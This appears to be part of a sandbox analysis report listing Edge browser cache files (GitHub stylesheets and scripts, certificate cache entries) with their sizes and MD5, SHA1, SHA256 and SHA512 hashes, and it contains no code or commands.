C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\75EX6ENP\light-f13f84a2af0d[1].css
Filesize46KB
MD5deca261177994c06974b8eed93ab0d5a
SHA16df91477da6dcfd0ccbf51fc39f2f31f03acd8fc
SHA2567dfb4dd6d5448e12ce18a0c186a890f6b9e4550e9e160e83fefcaacdf6decd9e
SHA512f13f84a2af0df501d75659ef3682b9991894b860be2045d686b276698831c211d69a7df233fa82880f83c633226187e5c4fbfaca2a9983fc0b52454f78fece98
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\75EX6ENP\primer-primitives-0b5bee5c70e9[1].css
Filesize8KB
MD54a501b962a497016dc70c7dc3f95f859
SHA17d50b4e6274c503021751982621678afed30ae6e
SHA2568a9ace6d9250dd653522dd94b426d1617df95fdfd86264beaccefa22c78fc7d0
SHA5120b5bee5c70e933f062d7773a200472973456db928fb6dfa0c9bf0ded60b04e4b0100ada3f4234193aca992acd72d196f5b5f458fa4b51636b6bfe9be16c8f191
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\901MWWMO\repository-fa69f138fe8d[1].css
Filesize27KB
MD592ddd397a592ef8df629545aff542ece
SHA1de50aa0321796f5e0d0c162fab9b10f7c98d11e7
SHA256ca1fff862edeb6dce1953d3ff7f1b76d84aa12aa7ac4d4eca05e323ffb3f6ad2
SHA512fa69f138fe8dc9e8fbcc9f8211bc8e82608ccd52a41586a1438b3ed05922f0ddbd2e634fafcc34add72e0b36fdc6720d6a68530d6b4bda61fdf20e57fd553d2c
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\9ZJEAVZ9\wp-runtime-27e7f3ff07dd[1].js
Filesize41KB
MD5532b8069f73f2397e8601926b8638cec
SHA10de639a41e9809f36b4376a5df3142454c356c36
SHA256deb41f0c4af774cdee289fabdbbbaa7cdd4820b98d73d49850d706a7bbceb882
SHA51227e7f3ff07dd3d4ec595b64e7c480ffb04a58d9eaa8f57ac6ec77fe09cd63563c31882f6c23efaadbabcb40a5892e780a4813760a5ac4921591630b53d2b4e66
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\D4FQUVMS\code-111be5e4092d[1].css
Filesize30KB
MD57cb9080aa576934b53486d3746529970
SHA1cb9ad049ca59d0dc0095470fddb2bda8798211cd
SHA2569850beb3ebe2c31da0ece9d1a823e5e7d26983626c6e2acf4210d33abf6660c9
SHA512111be5e4092d831d8e068ff4b6d2be94cbccb5bf92adc549a6c2506c4712ac177d15a61b56bce1919a2bdf9bb66d4a24b805db3aaddeb86823912d1df805f2fd
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\D4FQUVMS\github-07f750db5d7c[1].css
Filesize116KB
MD519a4910055069ece0fd15033333b5169
SHA1cc741789ac4f11c2e1818d25554f470ed002c7da
SHA256c0467d247bf127ccf1de67ede2d21bcec6e1414e1c4f0b40f83f323b6d407156
SHA51207f750db5d7ca69a75c752e69beb712768b99da639ee3ee96857c7c4e69364dee00c3f5a601b4cef713c6cfc4b0755d0629f4982bf35fe83dc2dcbca203e59d4
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\D4FQUVMS\primer-241a089e9a0a[1].css
Filesize329KB
MD57724d1ccfa7c579a5d0a990f0a2890a4
SHA1fca59b4308d3e605c15d15d59074cb7db9ab7424
SHA256adb9d3f465f5fd590c46320bbf586d0b49ee0b71dbeb2c5650462bf902faab66
SHA512241a089e9a0a69930256aaeea146aa41b9125aa848db3d4cf5d392eab2d861b4c52250f4998323358d00a19b70bd2393a3d5990b7676c5e37e5ce92b34d25448
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\D4FQUVMS\vendors-node_modules_dompurify_dist_purify_js-13ee51630182[1].js
Filesize20KB
MD52e4dc91ea1bea153c73307a42db02ea4
SHA1c1a8652552b884fd87324b7f66b4423fc50a2bf7
SHA256e5946343506fc6104aacd3346e8a3a8c5e7b434e8ce9e84525585d7e80a18fa4
SHA51213ee516301828fb703a5ef99bc618183a3c4e293d85aca9ceb63f941b5b99ccfa68a41e413f5a69716b38cd6b7592d243665a6c5843d7b6e5261a96e59720077
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\D4FQUVMS\vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-7bd350d761f4[1].js
Filesize9KB
MD5b6b600c9f1dd4c88024d62e6ff2eb871
SHA15a22091378af6a681a1edd36e5337b9b6f70613c
SHA256447a26cbcbced255f24f46c1e82a6f3a4de3b2a44d4b0ab7b6f427b12f783f8f
SHA5127bd350d761f4f22866b454b1271af79ef5d23f5d1b8cb0598c34f739e3dab977450d61d01b8a0c135fff309389f712c0114e9cd6e844d2261d2536377b71b838
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\Content\A66A8DB907BADC9D16AD67B2FBFFDD5C
Filesize281B
MD5d563e9c8f27597dae645fc002525a795
SHA19f743599d440db4624e8be82ef29a53bf063fcb6
SHA256a59c455a5f98d1aa480bd419b1f2742ac2124966170c95e1f28483ed93822322
SHA51227a7e22c8b079dadb8fd1b33c2be04cb52409eed30f28c9aa87504657d5361024a2c20fee3abef41ca7d19186b641a4f30fc64a997ae22f606e26eda5363ef07
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_89854CA6A0F0936A4D2ECA78845CEA25
Filesize1KB
MD5baf392305ffde8a0ab34640f5075b548
SHA129c541b6ae692ba4de77022782f661b7f77e0d37
SHA2569e2fd8aa6e94e0b7779d48236d7cf683b39eaef3217b8528366014c7cd35eca9
SHA512f0a72b77c13c29bb66c60e15d3483cf4f9b524067b25b5201b789605055dd1834caf2ce81d92dee8c89173e84397580c672ab07a7f4dea7691aad08c364e518c
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\Content\D0E1C4B6144E7ECAB3F020E4A19EFC29_B5F77004C894173A10E3A199871D2D90
Filesize978B
MD5b5ffd1384ea2cc3fbb18404ece0d223c
SHA126aa83aa4514b0cceb308c92f8f992a5ca714fac
SHA25694c0b7c584eeb89716018df3a8f0ea8237f40f869dbc3c32c0b07271a8965572
SHA5125d08e43a85710482c41b167b1aadc85e6899dbe181e99b4d0fe2a0f0e45115d5b1bc8a8ff64c6c0f84f98fa5d3f5f1898ce98bd6ccd09d591ace8dc990fef2f1
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\MetaData\A66A8DB907BADC9D16AD67B2FBFFDD5C
Filesize480B
MD503f315a9d8af512aebf184ea88884f8f
SHA14c7c9b5e138df81e6c45b45de9e448caa96b8785
SHA256763c1f71b97a6d33f6a31e07c7d549ea013d0c543755cd59a70917688719a99c
SHA512e04a4082c9f409f0edaecc7aea860d92fc4185e90400f06e6f26113850491f802387bea0f3192e89bbc07f8783468a38a468eaabd3e2d298124c56425d2d6690
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_89854CA6A0F0936A4D2ECA78845CEA25
Filesize482B
MD53dbb5b4a94ded7fb74400053173272de
SHA13d2ae664b2cced8be2ed90f4c65c7a5597d3cbae
SHA25614f878f4c8c47328fc9e8b0b2c86a42a1feee4b77d90f0c9381b9a6e5fdfb29c
SHA512fbebaaa0e472fddc257c6acd99c8640cb76a82089fb8a9d17ffc65593a62046cc71b3e2bf65bf0e11cf45ae4a5ce0c7dd9eb6ae73e35a5218438c5b0501fa6ef
-
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\MetaData\D0E1C4B6144E7ECAB3F020E4A19EFC29_B5F77004C894173A10E3A199871D2D90
Filesize480B
MD5d98113d32f192739a773f337a58d5473
SHA14c41d0553c0569889ef014eb03775bd42fd12aa6
SHA2561a2d27cab3830e08ccc6cd420526c928430b74bf59fc7d7180dd3afe328fd55b
SHA51234dc4651a374c133c6c34154387f67474dc00744dffeb07b1f838bc90ee1149fec016fd18faebdf407848f57bc68e032d994cf8251422e4519e88c4ef9d4da10
-
Filesize
94KB
MD514ff402962ad21b78ae0b4c43cd1f194
SHA1f8a510eb26666e875a5bdd1cadad40602763ad72
SHA256fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b
SHA512daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b
-
Filesize
17KB
MD59de66af936d3f950945f729f8debecb2
SHA17cee56367931692c2eeb80df3322e7663c7450dd
SHA256aa8c8ed0dcd8d79b3d9860f27ede4a0a16954d5953ea12858d922eb69522b220
SHA512550489b48974608b54d881e69ccefad67f579231451cdd9d83268cc0c54fc98fa3d12344ce7c8906d93570bff6bb0b762e3a80c69335907376b541b4d59a7c42
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
982KB
MD59e8253f0a993e53b4809dbd74b335227
SHA1f6ba6f03c65c3996a258f58324a917463b2d6ff4
SHA256e434828818f81e6e1f5955e84caec08662bd154a80b24a71a2eda530d8b2f66a
SHA512404d67d59fcd767e65d86395b38d1a531465cee5bb3c5cf3d1205975ff76d27d477fe8cc3842b8134f17b61292d8e2ffba71134fe50a36afd60b189b027f5af0
-
Filesize
5.0MB
MD5ed997c518b1affa39a5db6d5e1e38874
SHA1d0355de864604e0ba04d4d79753ee926b197f9cf
SHA2568a7d20fb5bc7ef8b02ab6e11ef78ebc0a31ba5376bd97d40fe5d1da521324556
SHA51250699cdd035c48e431102c703d7855dc85caa6feb7a7b34bdb23c7ccc298dbcc3ab261690c3dfb078451d3e299a0b037351edcbf54e79b6edaaacbf30ec68cb7
-
Filesize
3.7MB
MD544ad26d620213d7768ad9b16f6dbabd1
SHA1b702f8b33db26a53337d8df94c31eef165e5f959
SHA25617145113c0f49cb080c2e133584d55fa240e8920c37157757a9e78187e5ae150
SHA512f75bd6265884dce31fdb7ae600d7d5d6a21ce704ba86945c1e6bbbf5a587ead06740a6dcef6df9b7a54d06201e173d8bb0589402855ebd946e18e69c7c3931ce
-
Filesize
793KB
MD5835d21dc5baa96f1ce1bf6b66d92d637
SHA1e0fb2a01a9859f0d2c983b3850c76f8512817e2d
SHA256e67f2b34ef647d59eb8ebd4a88f85dc072346ca5c275cba1ee2307b80a560319
SHA512747a9b6cde0207c722a62904a2c8708188f7c9e65e94cf55667e90096f1d1852e145061bd8e764bf30aaca0fb0f4355668feccc951041af735677c4c644aba87
-
Filesize
49KB
MD5d84db0827e0f455f607ef501108557d0
SHA1d275924654f617ddaf01b032cf0bf26374fc6cd5
SHA256a8d9fd3c7ebb7fee5adb3cafe6190131cebfcbeff7f0046a428c243f78eac559
SHA5121b08115a4ea03217ce7a4d365899bd311a60490b7271db209d1e5979a612d95c853be33d895570e0fb0414ab16eb8fd822fe4e3396019a9edd0d0c7ff9e57232
-
Filesize
41KB
MD5ff41100cc12e45a327d670652f0d6b87
SHA1cb53d671cb66d28b6eb7247a1a0c70a114d07e6b
SHA256ef3de7ab3d80a4d2865b9e191d2311112b4870103d383ae21882f251bbde7f0a
SHA512f8a2f8db5957a43aa82bd7d193b2ff2a151bba6a9d0ad2d39e120909a0f8939123b389ebb4244a417f9e4d8e46629c49ac193c320231cb614253612af45281a8
-
Filesize
53KB
MD551130f3479df72fe12b05a7aba1891d3
SHA1fbaf9c0269d532a3ce00d725cd40772bc0ad8f09
SHA2568845d0f0fadfdf51b540d389bbb0a8a9655cf65055e55dcd54fa655576dd70a1
SHA512b641e22b81babbde85a6f324851d35f47bd769fc0cff74911010ae620cf682f9c7bc4d946d2f80a46a9851f3cc912625991c8a3876f1d958ea4d49d8791d1815
-
Filesize
52KB
MD553aa67d27c43a35c6f61552ee9865f55
SHA1504035de2fe6432d54bc69f0d126516f363e1905
SHA2565d08b297b867179d8d2ec861dbf7e1dfdb283573430a55644e134ee39083157a
SHA5127a284076f6f204e5be41eab3c3abb1983fbbc21669130cc7e6961a7b858f30caf83fbcb2ef44cfe712341ab664347df29d58b650f004608b015e61e4f5d4f47b
-
Filesize
51KB
MD524fde6338ea1a937945c3feb0b7b2281
SHA16b8b437cd3692207e891e205c246f64e3d81fdd5
SHA25663d37577f760339ed4e40dc699308b25217ce678ce0be50c5f9ce540bb08e0a7
SHA5129a51c7057de4f2ec607bb9820999c676c01c9baf49524011bb5669225d80154119757e8eb92d1952832a6cb20ea0e7da192b4b9ddf813fa4c2780200b3d7ba67
-
Filesize
15KB
MD5cd131d41791a543cc6f6ed1ea5bd257c
SHA1f42a2708a0b42a13530d26515274d1fcdbfe8490
SHA256e139af8858fe90127095ac1c4685bcd849437ef0df7c416033554703f5d864bb
SHA512a6ee9af8f8c2c7acd58dd3c42b8d70c55202b382ffc5a93772af7bf7d7740c1162bb6d38a4307b1802294a18eb52032d410e128072af7d4f9d54f415be020c9a
-
Filesize
731KB
MD54925613d29bc7350130c7076e4c92c1c
SHA12821351d3be08f982431ba789f034b9f028ca922
SHA2569157a0afe34576dfea4ba64db5737867742b4e9346a1f2c149b98b6805d45e31
SHA5123e69650e4101a14ef69f94fa54b02d8d305039165a0bffc519b3cf96f2dcbcf46845e4669d29ccc5ceb887b2f95fc4756265b19d5c17aa176d3d6dc53ed83f77
-
Filesize
85KB
MD58b3ecf4d59a85dae0960d3175865a06d
SHA1fc81227ec438adc3f23e03a229a263d26bcf9092
SHA2562b088aefcc76d0baa0bff0843bf458db27bacc47a8e698c9948e53ffc471828b
SHA512a58a056a3a5814a13153b4c594ed72796b4598f8e715771fc31e60c60a2e26250768b8f36b18675b91e7ecc777ef27c7554f7a0e92c2dfaba74531e669c38263
-
Filesize
868KB
MD543bc7b5dfd2e45751d6d2ca7274063e4
SHA1a8955033d0e94d33114a1205fe7038c6ae2f54f1
SHA256a11af883273ddbd24bfed4a240c43f41ce3d8c7962ec970da2d4c7e13b563d04
SHA5123f3068e660fea932e91e4d141d8202466b72447107ff43f90dea9557fc188696617025531220bc113dc19fdd7adf313a47ac5f2a4ce94c65f9aeb2d7deda7f36
-
Filesize
40KB
MD50966fcd5a4ab0ddf71f46c01eff3cdd5
SHA18f4554f079edad23bcd1096e6501a61cf1f8ec34
SHA25631c13ecfc0eb27f34036fb65cc0e735cd444eec75376eea2642f926ac162dcb3
SHA512a9e70a2fb5a9899acf086474d71d0e180e2234c40e68bcadb9bf4fe145774680cb55584b39fe53cc75de445c6bf5741fc9b15b18385cbbe20fc595fe0ff86fce
-
Filesize
37KB
MD5d8f565bd1492ef4a7c4bc26a641cd1ea
SHA1d4c9c49b47be132944288855dc61dbf8539ec876
SHA2566a0e20df2075c9a58b870233509321372e283ccccc6afaa886e12ba377546e64
SHA512ecf57cc6f3f8c4b677246a451ad71835438d587fadc12d95ef1605eb9287b120068938576da95c10edc6d1d033b5968333a5f8b25ce97ecd347a42716cd2a102
-
Filesize
191KB
MD5d475bbd6fef8db2dde0da7ccfd2c9042
SHA180887bdb64335762a3b1d78f7365c4ee9cfaeab5
SHA2568e9d77a216d8dd2be2b304e60edf85ce825309e67262fcff1891aede63909599
SHA512f760e02d4d336ac384a0125291b9deac88c24f457271be686b6d817f01ea046d286c73deddbf0476dcc2ade3b3f5329563abd8f2f1e40aee817fee1e3766d008
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e